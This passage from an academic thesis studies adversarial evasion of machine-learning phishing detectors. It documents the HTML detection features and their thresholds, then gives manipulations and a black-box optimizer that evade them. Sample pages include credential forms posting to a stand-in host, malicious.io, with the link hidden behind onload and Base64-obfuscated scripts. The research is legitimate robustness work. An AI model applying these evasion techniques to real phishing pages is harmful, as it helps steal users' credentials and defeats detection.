of the webpage, i.e., all the HTML elements that are generally displayed by
a web browser. For instance, the example webpage includes a login form
(lines 11-16), defined via a <form> element, which consists of two <input>
elements used to collect the username (line 13) and password (line 15) from
the user.

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Website title</title>
5 <style>
6 h1 {color: red;}
7 </style>
8 </head>
9 <body>

10 <h1>Welcome to the website</h1>
11 <form action="login.php", method="get">
12 <label for="pwd">Enter your username: </label>
13 <input type="text" name="username" required>
14 <label for="pwd">Enter your password: </label>
15 <input type="password" name="pass" required>
16 </form>
17 </body>
18 </html>

Listing 3.1: Example of a webpage.

3.2.2 HTML Feature Analysis

In the following we analyze in detail the features used in SpacePhish to better
understand how they work and thus, how to evade them. This is a missing
point in SpacePhish. Indeed, its authors only provide a brief description of
some of them (5 out 22) in the related supplementary document [17], and
do not carefully analyze how they can be bypassed using problem-space
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manipulations. We also remark that such features are also widely used in
other papers [71, 74, 111, 153], and some of them also in competitions about
machine learning security such as the Machine Learning Security Evasion
Competition 2022 (MLSEC 2022)2 [17, 57].
HTML_freqDom. This feature analyzes the number of internal (n_int)
and external (n_ext) HTML elements in the webpage. An element is inter-
nal if it includes a link that shares the same domain as the webpage URL;
otherwise, it is external. Then, if n_ext is 0 or n_int ≥ n_ext, this fea-
ture is set to −1 (the webpage is likely benign); else, it is set to +1 (the
webpage is likely phishing). This feature analyzes the following types of
HTML elements: anchors (<a>), images (<img>), links (<link>) and videos
(<video>).
HTML_objectRatio. This feature represents the ratio between the num-
ber of external HTML elements, n_ext, and the total one, n_tot = n_ext +
n_int, where n_int represents the number of internal HTML elements. The
ratio is compared against two thresholds: the suspicious (0.15) and phish-
ing (0.30) thresholds. If the ratio is lower than the suspicious threshold, the
value of the feature is−1 (the webpage is likely benign). Otherwise, if the ra-
tio is in between the two thresholds, the webpage is assumed suspicious and
the feature is set to 0. Finally, if the ratio is greater than the phishing thresh-
old, the feature is set to +1 (the webpage is likely phishing). The HTML
elements considered by this feature are the same as HTML_freqDom.
HTML_metaScripts. This feature is similar to HTML_objectRatio, but
it applies to script (<script>), meta (<meta>) and link (<link>) elements.
This feature adopts two different values for the thresholds. Specifically, the
suspicious and phishing thresholds are set to 0.52 and 0.61, respectively.
Moreover, if the ratio is greater than 0.61, the feature is set to +1 (the
webpage is likely phishing); if the ratio is less than 0.52, the feature is −1
(the webpage is likely benign); otherwise, it is set to 0 (the webpage is
assumed suspicious).
HTML_commPage. This feature analyzes the number of internal (n_int)
and external (n_ext) elements, and is initialized using the following formula:

HTML_commPage = max(n_ext, n_int)
n_ext + n_int

This feature takes into account the same HTML elements analyzed by both
HTML_objectRatio and HTML_metaScripts.

2https://www.robustintelligence.com/blog-posts/ml-security-evasion-competition-2
022

https://www.robustintelligence.com/blog-posts/ml-security-evasion-competition-2022
https://www.robustintelligence.com/blog-posts/ml-security-evasion-competition-2022
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HTML_commPageFoot. This feature works as HTML_commPage ex-
cept that it focuses on the HTML elements included in the footer (<footer>)
rather than the body of the webpage.
HTML_SFH. This feature computes the ratio of suspicious forms as the
number of suspicious forms divided by the total number of forms. The
ratio is compared against two thresholds: susp_thr, which is set to 0.5
and is used to decide if a webpage is suspicious, and phish_thr, which is
set to 0.75 and allows one to determine whether a webpage is phishing.
According to its implementation, a form is considered suspicious if one of
the following conditions is satisfied: it includes an external link (specified
through the action attribute), the action attribute is set to "about:blank"
(i.e., it points to a new blank webpage) or when it is set to an empty
string (i.e., <form action="">). In particular, if the ratio is lower than the
suspicious threshold, the feature is set to −1 (the webpage is likely benign).
Else, if the ratio is greater than the phishing threshold, then the feature
is initialized to +1 (the webpage is likely phishing). Otherwise, i.e., the
ratio is between the two thresholds, this feature is set to 0 (the webpage is
considered suspicious).
HTML_popUP. This feature checks whether the webpage displays a pop-
up window that prompts the user for some input, such as credentials in case
of phishing webpages. A pop-up window can be commonly introduced by
using the prompt() or window.open() JavaScript (JS) functions. Specifi-
cally, this feature looks for the names of such functions and if it finds the
former, it is set to 1 (the webpage is likely phishing); while it is set to 0
(the webpage is likely suspicious) if it finds the latter. Otherwise, its value
is −1 (the webpage is likely benign).
HTML_rightClick. This feature inspects the source code of the webpage
to determine if a context menu has been disabled, which is the equivalent
of disabling the mouse right-click. In particular, it checks the following
patterns to disable a context menu: if the preventDefault() method of the
HTML DOM is present in the webpage or if there is at least one HTML
element with the oncontextmenu attribute set to "return false". Hence,
this feature is set to +1 (the webpage is likely phishing) if it finds at least one
disabled context menu, and to −1 (the webpage is likely benign) otherwise.
HTML_domCopyright. This feature analyzes if the webpage contains
a copyright notice with the copyright symbol (©). If not, the webpage is
considered suspicious and its value is set to 0. Otherwise, if the copyright
notice contains the website domain name, the feature is set to −1 (the
webpage is likely benign). Else (i.e., no webpage domain in the copyright
notice) it is set to +1 (the webpage is likely phishing).
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HTML_nullLnkWeb. This feature computes the frequency of suspicious
anchors contained in a website as the number of suspicious anchors divided
by the total number of anchors. An anchor is considered suspicious if it
contains one of the following useless links: "#", "#content", "#skip" and
"JavaScript ::void(0)"; or if it is an internal link.
HTML_nullLnkFooter. This feature works in the same way as HTML_
nullLnkWeb, but it computes the frequency of suspicious anchors included
in the footer rather than the body.
HTML_brokenLnk. This feature computes the ratio of external elements
with broken links (i.e., links that point to an unreachable website) against
the total number of external ones included in the webpage. This feature
analyzes the same HTML elements considered by both HTML_objectRatio
and HTML_metaScripts.
HTML_loginForm. This feature is set to +1 (the webpage is likely phish-
ing) if the webpage contains one or more forms with a useless internal link
or an external one; otherwise, it is set to −1 (the webpage is likely be-
nign). An internal link is useless if it is equal to one of the following: ""
(empty string), #, #nothing, #null, #void, #doesnotexist, #whatever,
javascript, javascript::;, javascript::void(0), javascript::void(0);.
HTML_hiddenDiv. This feature checks if there are content division
elements, a.k.a. div (<div>), which are hidden by setting the style attribute
to "visibility:hidden" or "display:none". If so, this feature is set to +1 (the
webpage is likely phishing), else to −1 (the webpage is likely benign).
HTML_hiddenButton. This feature is set to +1 (the webpage is likely
phishing) if there is at least one button (<button>) element disabled by set-
ting the style attribute to "disabled". Otherwise, the webpage is considered
benign and this feature is set to −1.
HTML_hiddenInput. This feature is set to +1 (the webpage is likely
phishing) if there is at least one input element that is disabled (i.e., <input
disabled>) or hidden (i.e., <input type="hidden">). Otherwise, this fea-
ture is set to −1 (the webpage is likely benign).
HTML_URLBrand. This feature analyzes the title (<title>) of the web-
page to check whether it contains the website’s domain name. If so, the
webpage is considered benign and this feature is set to −1. Otherwise, it is
initialized to +1 (the webpage is likely phishing). Moreover, if the title is
not found, this feature is set to 0 (the webpage is suspicious).
HTML_iFrame. This feature targets inline frame elements, a.k.a. iframe
(<iframe>), usually used to embed a webpage within another one, by check-
ing patterns commonly used for hiding an iframe, such as <iframe style=
"display: none"> and <iframe style="visibility: hidden">. If any of these
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patterns are found, the feature is set to +1 (the webpage is likely phishing),
else to −1 (the webpage is likely benign).
HTML_favicon. This feature checks if the favicon (i.e., an icon associated
with a particular website) is loaded from an external source. If so, it is set
to +1 (the webpage is likely phishing), while it is set to −1 (the webpage is
likely benign) if the favicon is internal. Moreover, if no favicon is included
in the webpage, it is considered suspicious and this feature is set to 0.
To check the presence of the favicon, this feature looks for link elements
including either rel="shortcut icon" or rel="icon" attributes.
HTML_statBar. This feature inspects the webpage to check whether it
changes the text of the status bar at the bottom of the browser window by
looking for the presence of window.status in the HTML code. If so, this
feature is set to +1 (the webpage is likely phishing); else the value of the
feature is −1 (the webpage is likely benign).
HTML_css. This feature checks whether the webpage uses an exter-
nal CSS style sheet, i.e., if the style sheet is imported from an exter-
nal web location using a link element as in the following example: <link
rel="stylesheet" href="mystyle.css">. If so, this feature is set to +1 (the
webpage is likely phishing), else to −1 (the webpage is likely benign).
HTML_anchors. This feature computes the ratio of suspicious anchors
included in the webpage and compares it against two thresholds: suspicious
(0.32) and phishing (0.505). Then, if there are no anchors in the webpage or
the ratio is lower than the suspicious threshold, then this feature is set to −1
(the webpage is likely benign). Else, if the ratio is higher than the phishing
threshold, it is set to +1 (the webpage is likely phishing). Otherwise, i.e., if
the ratio is between the two thresholds, its value is 0 (the webpage is con-
sidered suspicious). An anchor is assumed suspicious if contains an external
link or if it includes an internal link belonging to the same list of patterns
checked by the HTML_nullLnkWeb feature, i.e., #, #skip, #content and
JavaScript ::void(0).

3.3 Threat model

In this section, we first formalize the threat model used in our work, and
then we compare it to the one proposed in SpacePhish [16].

3.3.1 Formalization

We describe the threat model according to the following four criteria widely
used in the adversarial machine learning literature [25].
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Goal. The goal of the adversary consists in causing an integrity violation
by evading a target machine-learning phishing detector at test time through
adversarial phishing webpages generated in the problem space. In other
words, the adversary aims to manipulate the HTML code of these webpages
using functionality- and rendering-preserving manipulations so that they are
classified as benign.
Knowledge. In our threat model, we assume a black-box scenario [50, 25].
Specifically, the machine-learning algorithm, its features, the parameters as
well as the data, and the objective function used during the training phase
are unknown to the attacker. Regarding the feature set, although it is gen-
erally assumed that the attacker does not know the exact features used by
the machine learning algorithm [25], it is possible to obtain information
about the most widely used features in the state-of-the-art by analyzing the
description of many solutions that are publicly available in the literature
(e.g., [16, 153]). Based on this idea, we have carefully analyzed the most
common HTML features adopted in the literature and defined ad-hoc ad-
versarial manipulations to evade all of them. In this way, the attacker can
use all the defined manipulations with the aim to evade as many features
as possible.
Capability. In our threat model, we assume that the attacker can use
the ML-PWD as an oracle by querying it and collecting its output confi-
dence score, representing the probability of classifying the input webpages
as phishing.
Strategy. The adversarial phishing webpages can be generated by solving
the following optimization problem:

minimize
t ∈ T

f(h(z, t)) , (3.1)

which amounts to find the sequence of manipulations t = [t0, . . . , tK ] that,
when applied to the given phishing webpage z, generate an adversarial
phishing webpage, z⋆ = h(z, t), that minimizes the confidence score f(z⋆)
returned by the target machine-learning model denoted with f . For simplic-
ity, in our formulation we assume that the machine-learning model includes
a feature extraction step before classification, i.e., f takes the raw web-
page directly as input, but internally performs a preliminary step to map
the input webpage to a feature vector. Moreover, h : Z × T → Z is a
function that applies a sequence of functionality- and rendering-preserving
manipulations t to the HTML code of the phishing webpage z, and out-
puts a valid webpage with the same behavior and rendering as the input
one, but with a different HTML code. Under the given black-box setting,
and considering that the feature extraction step performed by f may not
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be differentiable, the above optimization problem cannot be solved using
classical gradient-based approaches. For this reason, in this work we adopt
a black-box (a.k.a. gradient-free) optimization algorithm that is described
in detail in Section 3.4.2.

3.3.2 Comparison with SpacePhish
Our threat model differs from that proposed by Apruzzese et al. [16], as we
assume the possibility of querying the ML-PWD. Recall indeed that this
is a valid assumption adopted in many papers [130, 22, 38, 98, 95], espe-
cially when considering Machine-Learning-as-a-Service (MLaaS) scenarios,
in which the attacker can interact with the target machine-learning model by
sending queries to it and observing its predictions [128, 130]. For instance,
those available through VirusTotal can be easily queried through dedicated
APIs provided by the VirusTotal platform [133, 39]. In this work, we want
to extend the threat model of SpacePhish in order to thoroughly evaluate the
adversarial robustness of state-of-the-art ML-PWD when the attacker can
optimize the adversarial attacks. Finally, it is worth noting that, even if the
output of the ML-PWD is not available, the attacker can still optimize the
adversarial attacks by using a so-called surrogate model [50, 128, 46, 193].
However, this approach is out of the scope of our work.

3.4 Optimized HTML adversarial attacks

In this section, we describe our methodology for generating optimized and
query-efficient HTML adversarial attacks. Specifically, we first present our
novel set of 14 functionality- and rendering-preserving adversarial manip-
ulations designed to evade the HTML features described in Section 3.2.2.
Then, we describe our black-box optimizer that uses the proposed manipu-
lations in order to optimize the generation of adversarial phishing webpages.

3.4.1 Adversarial Manipulations

Each manipulation consists in a function that takes in input a phishing
webpage, modifies its HTML code, and returns the new valid webpage with
the same functionality and rendering as the input. In the following we
will describe the details of our manipulations, including the HTML features
they aim to evade, as well as how they preserve the original rendering and
functionality.
InjectIntElem. This manipulation aims to inject a given number of inter-
nal HTML elements into the body of the webpage. It has been proposed
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Manipulation Evaded feature(s) Type

InjectIntElem⋆

HTML_freqDom,
HTML_objectRatio,
HTML_commPage,

HTML_nullLnkWeb (int. links)

MR

InjectIntElemFoot⋆ HTML_commPageFoot,
HTML_nullLnkFooter (int. links) MR

InjectIntLinkElem HTML_metaScripts MR

InjectExtElem

HTML_freqDom,
HTML_objectRatio,
HTML_metaScripts,
HTML_commPage

MR

InjectExtElemFoot HTML_commPageFoot MR

UpdateForm
HTML_SFH (int. links),

HTML_loginForm (int. links) SR

ObfuscateExtLinks

HTML_SHF (ext. links),
HTML_brokenLnk,

HTML_anchors (ext. links),
HTML_css,

HTML_favicon (ext. links),
HTML_loginForm (ext. links)

SR

ObfuscateJS

HTML_statBar,
HTML_rightClick,

HTML_popUP
SR

InjectFakeCopyright HTML_domCopyright SR

UpdateIntAnchors

HTML_anchors (int. links),
HTML_nullLnkWeb (useless links),

HTML_nullLnkFooter (useless links)
SR

UpdateHiddenDivs HTML_hiddenDiv SR

UpdateHiddenButtons HTML_hiddenButton SR

UpdateHiddenInputs HTML_hiddenInput SR

UpdateTitle HTML_URLBrand SR

UpdateIFrames HTML_iFrame SR

InjectFakeFavicon HTML_favicon (no favicon included) SR

Table 3.1: Adversarial manipulations used in this work along with the corre-
sponding evaded features and their type, defined according to the way they
can be applied by the black-box optimizer (see Section 3.4.2), i.e., single-
round (SR) or multi-round (MR). The manipulations marked with ⋆ have
been originally proposed by Apruzzese et al. [16].
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in SpacePhish to implement the WAr and ˆ︁WAr attacks with the aim to
evade the HTML_objectRatio feature [17]. The former, WAr, assumes no
knowledge about the target phishing detectors and injects 50 hidden an-
chors with internal links. On the other hand, the latter, ˆ︁WAr, assumes an
attacker who knows how the HTML_objectRatio feature works including its
thresholds, hence this manipulation injects as many links as needed to meet
the suspicious threshold (0.15) so that the sample is considered benign by
this feature. In our case, we also assume that the attacker does not know
the internal thresholds used by the HTML_objectRatio feature. There-
fore, in order to evade that feature, we design a black-box algorithm (see
Section 3.4.2) that iteratively applies this manipulation in order to inject a
fixed number of internal elements, until the confidence score returned by the
target phishing detector decreases, thus meaning that the feature has been
evaded. In our implementation, we inject the same type of HTML elements
as in SpacePhish, i.e., anchors, but the number of injected internal elements
is set to 10 in order to have a finer level of granularity. Using this manip-
ulation, we are able to evade other HTML features that depend on anchor
elements with internal links, i.e., HTML_freqDom, HTML_commPage,
HTML_nullLnkWeb. Regarding the HTML_nullLnkWeb feature, this ma-
nipulation only targets internal anchors included in the body or the footer.
On the other hand, to bypass this feature when it searches for patterns
that represent useless internal links we have created another manipulation,
UpdateIntAnchors, which is described in the following.

Finally, since this manipulation injects some HTML elements, we must
ensure that they are properly hidden in order to preserve the original ren-
dering. To this end, there are several approaches that can be adopted by
the attacker (see Listing 3.2):

1. Using the hidden attribute (line 10). Inserting this attribute into
an HTML element tells the browser to not render the content of the
element. This is the default approach adopted by this manipulation.

2. Modifying the style of the element. It is possible to hide an HTML
element setting the style attribute to "display:none" (line 11). This is
the approach used in SpacePhish [16, 17].

3. Similarly to (2), but using the <style> HTML element (lines 5-7) in-
stead of the style attribute.

4. Using <noscript> (lines 13-15) and add inside it the HTML elements
to be hidden. It is worth noting that this only works if JavaScript is
enabled on the victim’s web browser.
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1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Home</title>
5 <style>
6 #mypar {display: none;}
7 </style>
8 </head>
9 <body>

10 <p hidden="">Hidden text</p>
11 <p style="display:none">Hidden text</p>
12 <p id="mypar">Hidden text</p>
13 <noscript>
14 <p>Hidden text</p>
15 </noscript>
16 </body>
17 </html>

Listing 3.2: Example showing different approaches to hide HTML elements:
using the hidden attribute (line 10), modifying the CSS style (lines 6 and
11), and embedding the element in <noscript> (line 14).

InjectIntElemFoot. This manipulation behaves similarly to InjectIntElem

but injects the internal elements into the footer of the webpage to evade the
HTML_commPageFoot and HTML_nullLnkFooter features.
InjectIntLinkElem. This manipulation works exactly as InjectIntElem

but injects 10 hidden HTML elements of type <link> instead of <a> in order
to evade the HTML_metaScript feature since it depends on <link> elements.
InjectExtElem. This manipulation behaves similarly to InjectIntElem but
injects external HTML elements, i.e., elements with external links, instead
of internal ones. Specifically, it injects 10 <link> elements that are also hid-
den as for InjectIntElem (i.e., by adding the hidden attribute) to preserve
the original rendering. The injected external links are randomly extracted
from a list of some well-known websites selected from the Alexa Top Mil-
lion ranking3 in order to appear benign. This manipulation evades multi-
ple features that depend on external elements, which are HTML_freqDom,
HTML_objectRatio, HTML_commPage, and HTML_metaScript.
InjectExtElemFoot. This manipulation works similarly as InjectExtElem,
but the external elements are inserted into the footer of the webpage with
the goal to evade the HTML_commPageFoot feature.
UpdateForm. This manipulation has been designed to evade the HTML_
SFH and HTML_loginForm features when a form in the webpage includes
an internal link matching one of the patterns searched by the two features,
which represent useless internal links generally used by attackers such as #.

3https://www.alexa.com/

https://www.alexa.com/
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Specifically, this manipulation replaces the original internal link, specified
with action attribute, with another random one that does not trigger the
target features, such as #! or #none. The original rendering is not affected
because this manipulation updates a property of forms that does not affect
the visual appearance of the webpage.
ObfuscateExtLinks. This manipulation aims to obfuscate the external
links in a webpage in order to evade multiple HTML features, i.e., HTML_
SHF, HTML_loginForm, HTML_css, HTML_anchors, HTML_brokenLnk
and HTML_favicon. Specifically, this manipulation executes the following
steps:

1. Substitute the external link with a random internal one that is not
detected as suspicious by the HTML features (#! as for HTML_SHF);

2. Create a new script element (<script>) that updates the value of the
action attribute to the original external link when the page is loaded;

3. Add the new script element into the <head> of the webpage.

To better explain the obfuscation approach, let’s consider a practical exam-
ple that shows how to evade the HTML_SHF feature. For instance, let’s
examine the simple webpage shown in Listing 3.3. It includes a form (lines
7-10) with a malicious external link (line 7) for stealing the victim’s creden-
tials, which is detected by the HTML_SHF feature. Listing 3.4 shows a new
webpage in which the malicious link has been obfuscated using the script in
lines 5-9. In particular, the original link assigned to action is updated with
a random internal one (#!), but its original value is restored (line 7) when
the page is loaded. This new adversarial phishing webpage has the same ren-
dering as the original one, but it is no longer detected by the HTML_SHF.
Furthermore, this manipulation can be applied to obfuscate the external
links included in any HTML elements, thus we use it to bypass multiple
features as described in the following. Regarding the HTML_anchors fea-
ture, we use this manipulation to obfuscate the external links embedded in
anchor elements, thus reducing the suspicious anchor rate computed by this
feature. In this way, the attacker is still able to insert hidden anchors with
malicious external links but without being detected by the HTML_anchors
feature. This manipulation can also evade the HTML_brokenLnk feature
by replacing all broken links (if any) with internal ones, hence resulting in
a benign behavior for this feature. The same applies to HTML_loginForm,
HTML_css and HTML_favicon, which can be evaded using this manipula-
tion by obfuscating the external links analyzed by such features. Finally, it
is worth noting that, although this manipulation modifies external links, it
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is independent of InjectExtElem and InjectExtElemFoot because they target
different features. At the same time, the external links injected by these
manipulations do not affect the features targeted by ObfuscateExtLinks.

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Login</title>
5 </head>
6 <body>
7 <form id="myform" action="http://malicious.io">
8 <label for="pwd">Enter your password: </label>
9 <input type="password" name="pass" required>

10 </form>
11 </body>
12 </html>

Listing 3.3: Webpage including a form with a malicious external link (line
7) detected by the HTML_SHF feature.

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Login</title>
5 <script type="text/javascript">
6 window.onload = function () {
7 document.getElementById("myform").setAttribute("action", "http://malicious.io");
8 }
9 </script>

10 </head>
11 <body>
12 <form id="myform" action="#!">
13 <label for="pwd">Enter your password: </label>
14 <input type="password" name="passwd" required>
15 </form>
16 </body>
17 </html>

Listing 3.4: Adversarial phishing webpage generated using
ObfuscateExtLinks, which obfuscates the malicious link (lines 5 - 9) in the
original webpage of Listing 3.3.

ObfuscateJS. This manipulation aims to obfuscate the JavaScript code
inside the webpage inserted in <script> elements in order to evade the
HTML_popUP, HTML_rightClick and HTML_statBar features. To achieve
so, several techniques have been proposed in the literature [23, 183]. In this
work, however, we use a different approach inspired by [57] for obfuscating
the entire HTML code in a webpage, which is described in the following. For
instance, let us consider the webpage in Listing 3.5, which includes a script
element to open a malicious webpage. Because of the use of window.open()
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DOM method, the webpage is considered malicious by the HTML_popUP
feature. To bypass such feature, this manipulation operates as follows:

1. Extracts the JS code from the original script and encodes it into
Base64 [79].

2. Replaces the content of the original script with new JS code that
creates a new script to hold the original JS code (line 5), decodes the
original obfuscated JS code (line 6), and insert the new script into the
webpage to be executed (line 8).

It is worth noting that this approach can also be used to obfuscate the pat-
terns searched by the other target features. Moreover, the original rendering
is preserved.

1 <html>
2 <head>
3 <title>Home</title>
4 <script>
5 window.open("http://malicious.io", "_self");
6 </script>
7 </head>
8 <body>
9 </body>

10 </html>

Listing 3.5: Webpage using window.open() to load an external malicious
link (line 5) detected by the HTML_popUP feature.

1 <html>
2 <head>
3 <title>Home</title>
4 <script>
5 let script = document.createElement("script");
6 script.innerHTML = atob("d2luZG93Lm9wZW4oImh0 \
7 dHA6Ly9tYWxpY2lvdXMuaW8iLCAiX3NlbGYiKTs=");
8 document.head.append(script);
9 </script>

10 </head>
11 <body>
12 </body>
13 </html>

Listing 3.6: Adversarial phishing webpage manipulated using ObfuscateJS

in order to obfuscate the JS code (lines 4 - 9) of the webpage shown in
Listing 3.5.

InjectFakeCopyright. This manipulation is used to evade the HTML_
domCopyright by injecting a new hidden paragraph containing the copy-
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right symbol followed by the "Copyright" string and the domain name of
the website. For instance, assuming that the domain name of the web-
page to manipulate is mydomain, the injected element is: <p hidden>©
Copyright mydomain </p>. Since the injected paragraph is hidden, the
original rendering is preserved.
UpdateIntAnchors. This manipulation is designed to evade the HTML_
statBar, HTML_nullLnkWeb and HTML_nullLnkFooter features by re-
placing every useless internal link with another one that is not checked by
such features, such as #!. The original rendering is preserved since this
manipulation does not affect it by design.
UpdateHiddenDivs. This manipulation is designed to evade the HTML_
hiddenDiv feature by updating the way div elements (<div>) are hidden. It
operates in different ways according to how a div element is hidden, i.e., by
setting the style attribute to visibility:hidden or display:none. The main
difference between the two approaches consists in how they allocate the
space for the hidden element when rendering the webpage. Specifically, the
former (i.e., visibility:hidden) still takes up space in the layout, while the
latter (i.e., display:none) does not take up any space. For instance, let’s
consider Listing 3.7 showing a div element hidden with display:none (line
7). It can be removed and, to achieve the same behavior and rendering, we
can insert the hidden attribute (line 10 of Listing 3.8) in order to evade
the HTML_hiddenDiv feature since it does not check for the presence of
such attribute. However, we cannot adopt the same approach for obfus-
cating div elements hidden using visibility:hidden (line 11 of Listing 3.7),
because this will change the rendering. In this case, we can still evade the
HTML_hiddenDiv feature by removing visibility:hidden from the style at-
tribute and inserting a new <style> element to achieve the same result (lines
5-7 of Listing 3.8).
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1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Home</title>
5 </head>
6 <body>
7 <div id="div1" style="display: none">
8 <p>Text in the first div.</p>
9 </div>

10

11 <div id="div2" style="visibility: hidden">
12 <p>Text in the second div.</p>
13 </div>
14 </body>
15 </html>

Listing 3.7: Webpage with two hidden div HTML elements (lines 7 and 11)
detected by the HTML_hiddenDiv feature.

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>Home</title>
5 <style>
6 #div2 {visibility: hidden;}
7 </style>
8 </head>
9 <body>

10 <div id="div1" hidden>
11 <p>Text in the first div.</p>
12 </div>
13

14 <div id="div2">
15 <p>Text in the second div.</p>
16 </div>
17 </body>
18 </html>

Listing 3.8: Adversarial webpage generated by manipulating the webpage of
Listing 3.7 through UpdateHiddenDivs, which hides the div elements using
CSS combined with the <style> element (line 6), and the hidden attribute
(line 10).

UpdateHiddenButtons. This manipulation is designed to evade the HTML
_hiddenButton feature by obfuscating all the disabled button elements.
Specifically, for each disabled button, it removes the disabled attribute and
inserts a new script element that, by exploiting JS, adds this attribute back
during rendering using the setAttribute() DOM method. Notably, this
approach is similar to the one adopted by ObfuscateExtLinks to obfuscate
external links. Thus, both the rendering and original behavior are preserved.
UpdateHiddenInputs. This manipulation consists of evading the HTML_
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hiddenInput, and it operates in different ways according to whether the in-
put element is hidden or disabled (since both are checked by the HTML_
hiddenInput feature). Specifically, if the input element is hidden, this ma-
nipulation updates the value of its type attribute from "hidden" to "text"
and then adds the hidden attribute. Otherwise, if the input element is
disabled, then this manipulation operates in the same way as UpdateHid-

denButtons by removing the attribute from the element and inserting it
back during the rendering of the webpage by using JS. In both cases, the
original behavior and rendering remain the same.
UpdateTitle. This manipulation aims to evade the HTML_URLBrand
feature. Specifically, if the website’s domain name is not included in the ti-
tle element, this manipulation updates the webpage title with the website’s
domain name and then replaces back the original title during rendering
using a script element (i.e., similarly as how UpdateHiddenButtons and Up-

dateHiddenInputs work).
UpdateIFrames. This manipulation adopts the same approach of Update-

HiddenDivs. Indeed, both the features look for the same patterns, but Up-

dateIFrames targets <iframe> elements in order to evade the HTML_iFrame
feature.
InjectFakeFavicon. This manipulation is designed to inject a fake favicon
in webpages that do not contain one, preventing them from being flagged
as suspicious by the HTML_favicon feature. Specifically, this manipulation
injects a favicon element with a useless internal link, such as i.e., <link
rel="icon" href="#none">, into the head of the webpage.

3.4.2 Mutation-based Black-box Optimizer

To optimize the choice of the manipulations defined in Section 3.4.1, we
propose a black-box optimizer (shown in Algorithm 2) that is in line with
the proposed threat model (see Section 3.3). Our optimizer draws inspi-
ration from the algorithm proposed in WAF-A-MoLE [48], which relies on
mutation-based fuzzing techniques [189], recently shown to be promising
for generating adversarial examples [131, 48]. Specifically, the algorithm of
WAF-A-MoLE adopts an iterative approach consisting of consecutive mu-
tation rounds with the aim to mutate the original malicious sample in order
to minimize the confidence score returned by the machine-learning model.
Starting from the original algorithm of WAF-A-MoLE, we have designed
a novel one that is tailored to the proposed manipulations in order to im-
prove its effectiveness, i.e., minimize the number of queries when generating
the adversarial attacks. To this end, in the following, we first explain how
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the manipulations can be categorized in order to make the optimizer more
query-efficient, and then we describe how the optimizer works step-by-step.

Categorization of the HTML Manipulations. According to how the
proposed manipulations can be applied to the input phishing webpage, they
can be categorized into two main classes: single-round (SR), if they can be
applied for just a single mutation round, or multi-rounds (MR), if they
require more sequential mutation rounds. Specifically, SR manipulations
generate the same output (i.e., a manipulated webpage) when used sequen-
tially for more than one round, so it is sufficient to use them for a single
round. On the other hand, this does not apply to MR manipulations, whose
output can change at each round. Furthermore, SR manipulations are in-
dependent of each other, while MR manipulations can be correlated, i.e.,
they can impact a common set of features.

To better explain the difference between the two classes, let’s consider
some of the manipulations defined in Section 3.4.1. For instance, the Up-

dateHiddenDivs is an SR manipulation because, after it is used for the first
time, all the related div elements are updated and there is no need to use
it in the next rounds since no other manipulation can inject hidden div
elements that may trigger the features (i.e., HTML_hiddenDiv) targeted
by this manipulation. The same applies to other manipulations such as
UpdateHiddenButtons, UpdateHiddenInputs and UpdateTitle. On the con-
trary, manipulations like InjectIntElem and InjectExtElem belong to the MR
class because, in general, they need to be applied in multiple consecutive
rounds to effectively evade the target HTML features. For instance, let’s
consider the HTML_commPage. In order to evade this feature, the attacker
has to apply both InjectIntElem and InjectExtElem for multiple consecutive
rounds to find the proper ratio between internal and external links. Cluster-
ing manipulations into the two defined classes offers a significant advantage
in enhancing the optimizer’s efficiency. Indeed, if using the approach used
in WAF-a-MoLE, which randomly selects manipulations for each mutation
round, there’s a risk of applying the same SR manipulation repeatedly in
consecutive rounds, resulting in a significant waste of queries because the
webpage would not be updated. Conversely, to address this issue our op-
timizer first executes the SR manipulations one by one, and then runs the
main loop of mutational rounds by using only the MR manipulations.

Algorithm Description. Initially, the optimizer initializes the best adver-
sarial example z⋆ and score s⋆ found so far with the initial phishing webpage
z (line 1), and its score f(z⋆) (line 2). Then, it sequentially applies the SR
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Algorithm 2: Mutation-based black-box optimizer to generate
adversarial phishing webpages.

Data: z, the initial phishing sample;
f , the machine-learning phishing webpage detector;
h, the function to mutate the phishing webpages;
R, the number of mutation rounds;
SR the set of single-round (SR) manipulations;
MR the set of multi-round (MR) manipulations.

Result: z⋆, the adversarial phishing sample.
1 z⋆ = z
2 s⋆ = f(z⋆)
3 for t in SR
4 z′ = h(z⋆, [t])
5 s′ = f(z′)
6 if s′ < s⋆

7 s⋆ = s′

8 z⋆ = z′

9 for r in [1, R]
10 C = ∅
11 for t in MR
12 z′ = h(z⋆, [t])
13 s′ = f(z′)
14 C = C ∪ {(z′, s′)}
15 zb, sb = get_best_candidate(C)
16 if sb < s⋆

17 s⋆ = sb

18 z⋆ = zb

19 return z⋆

manipulations (lines 3-5) and updates the best adversarial example and
score found so far each time it finds a new manipulation that reduces the
best score found so far (lines 6-8). Then, the optimizer executes the loop
related to MR manipulations, which consists of R mutation rounds (line
9). Specifically, during each mutation round, the algorithm generates new
candidates (i.e., adversarial phishing webpages) from the current best ad-
versarial example by using one MR manipulation for each candidate (lines
11-14). Afterward, the algorithm selects the candidate having the lowest
confidence score (line 15) and, in case its score is lower than the best score
found so far (line 16), the chosen becomes the best adversarial example
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found so far (line 18). Finally, regarding the choice of the number of muta-
tion rounds R, given the maximum query budget Q, it can be set using the
following formula: R = (Q−#SR) / #MR, where #SR and #MR are the
number of SR and MR manipulations, respectively.

3.5 Experimental Analysis

In this section, we first introduce the research questions that we aim to
answer in our experiments, then, we describe the setup adopted in our
experiments, and then we present and discuss the obtained results.

3.5.1 Research Questions

We aim to answer the following research questions in our experiments:
[RQ3.1] Adversarial attacks effectiveness – How effective are the pro-
posed adversarial attacks in evading detection by state-of-the-art ML-PWD?
[RQ3.2] Impact of SR and MR manipulations – What is the impact
of SR and MR manipulations on the robustness of ML-PWD?
[RQ3.3] Contribution of HTML features – How do HTML features
contribute to the adversarial robustness of ML-PWD compared to the sup-
plementary URL features?

3.5.2 Experimental Setup

We now present the setup underlying our experimental analysis, conducted
on an Ubuntu 18.04.6 LTS server equipped with an Intel Xeon E7-8880 CPU
(16 cores) and 64 GB of RAM.
ML Algorithms. We evaluate the same machine-learning algorithms used
in SpacePhish [16]:

• Logistic Regression (LR), a linear model also adopted in the Google
phishing page filter [98, 156];

